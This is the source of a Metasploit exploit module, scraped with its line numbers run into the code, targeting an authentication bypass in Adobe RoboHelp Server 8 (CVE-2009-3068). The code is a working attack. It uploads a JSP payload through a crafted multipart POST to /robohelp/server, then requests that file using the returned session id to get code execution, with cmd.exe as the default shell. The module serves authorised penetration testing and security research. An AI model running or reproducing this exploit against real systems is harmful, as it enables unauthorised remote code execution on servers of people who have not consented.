Path: blob/master/modules/exploits/windows/http/adobe_robohelper_authbypass.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }910include Msf::Exploit::Remote::HttpClient1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute',17'Description' => %q{18This module exploits an authentication bypass vulnerability which19allows remote attackers to upload and execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'Platform' => 'win',24'Privileged' => true,25'References' => [26[ 'CVE', '2009-3068' ],27[ 'OSVDB', '57896'],28[ 'URL', 'http://www.intevydis.com/blog/?p=69' ],29[ 'ZDI', '09-066' ],30],31'Targets' => [32[33'Universal Windows Target',34{35'Arch' => ARCH_JAVA,36'Payload' =>37{38'DisableNops' => true,39},40}41],42],43'DefaultOptions' => {44'SHELL' => 'cmd.exe'45},46'DefaultTarget' => 0,47'DisclosureDate' => '2009-09-23',48'Notes' => {49'Reliability' => UNKNOWN_RELIABILITY,50'Stability' => UNKNOWN_STABILITY,51'SideEffects' => UNKNOWN_SIDE_EFFECTS52}53)54)5556register_options([ Opt::RPORT(8080) ])57end5859def exploit60page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"61uid = rand(20).to_s6263file = "-----------------------------#{uid}\r\n"64file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"65file << "Content-Type: application/x-java-archive\r\n\r\n"66file << payload.encoded67file << "\r\n"6869print_status("Sending our POST request...")7071res = send_request_cgi(72{73'uri' => '/robohelp/server',74'version' => '1.1',75'method' => 'POST',76'encode_params' => false,77'data' => file,78'headers' => {79'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid,80'UID' => uid,81},82'vars_get' => {83'PUBLISH' => uid84}85}, 586)8788if (res and res.message =~ /OK/)89id = res['sessionid'].to_s.strip9091print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")92data = send_request_raw({93'uri' => normalize_uri('robohelp', 'robo', 'reserved', 'web', id, page),94'method' => 'GET',95'version' => '1.0'96}, 5)9798handler99else100print_error("No SESSIONID acquired...")101return102end103end104end105106107